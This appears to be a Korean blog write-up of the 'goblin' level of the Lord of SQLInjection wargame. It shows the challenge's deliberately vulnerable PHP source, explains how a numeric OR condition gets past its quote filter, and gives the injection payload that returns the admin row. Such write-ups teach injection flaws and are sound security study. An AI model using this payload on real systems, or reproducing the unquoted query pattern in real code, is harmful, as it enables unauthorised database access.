[LORD OF SQLINJECTION] Goblin Write-Up

· omacs's blog

#writeup #wargame #los

# Contents

  1. Problem Description and Analysis
  2. Exploit
  3. References

# Problem Description and Analysis

본 문제는 다음과 같이 제시된다[1]:

 1<?php 
 2  include "./config.php"; 
 3  login_chk(); 
 4  $db = dbconnect(); 
 5  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
 6  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
 7  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
 8  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
 9  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
10  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
11  if($result['id'] == 'admin') solve("goblin");
12  highlight_file(__FILE__); 
13?>

제시된 문제를 살펴보면 따옴표 문자가 필터링됨을 알 수 있고, $query에도 입력값이 들어가는 부분에는 따옴표가 없음을 알 수 있다. 따라서 숫자를 이용한 조건식을 사용해야 한다. 여기서는 TRUE AND FALSE OR TRUE = TRUE임을 이용할 것이며, admin의 번호는 주어지지 않았기 때문에 순차적으로 증가시켜나갈 것이다.

# Exploit

SQLi를 위한 no parameter 값은 다음과 같다:

no=-1%20or%20no=[n] (n = 1, 2, 3, ...)

위 값을 전송해보면 admin의 번호는 2임을 알 수 있다.

# References

  1. "goblin," LORD OF SQLINJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 05, 2024].
  2. "old-18," Webhacking.kr. [Online]. Available: https://webhacking.kr/challenge/web-32/, [Accessed Feb. 10, 2024].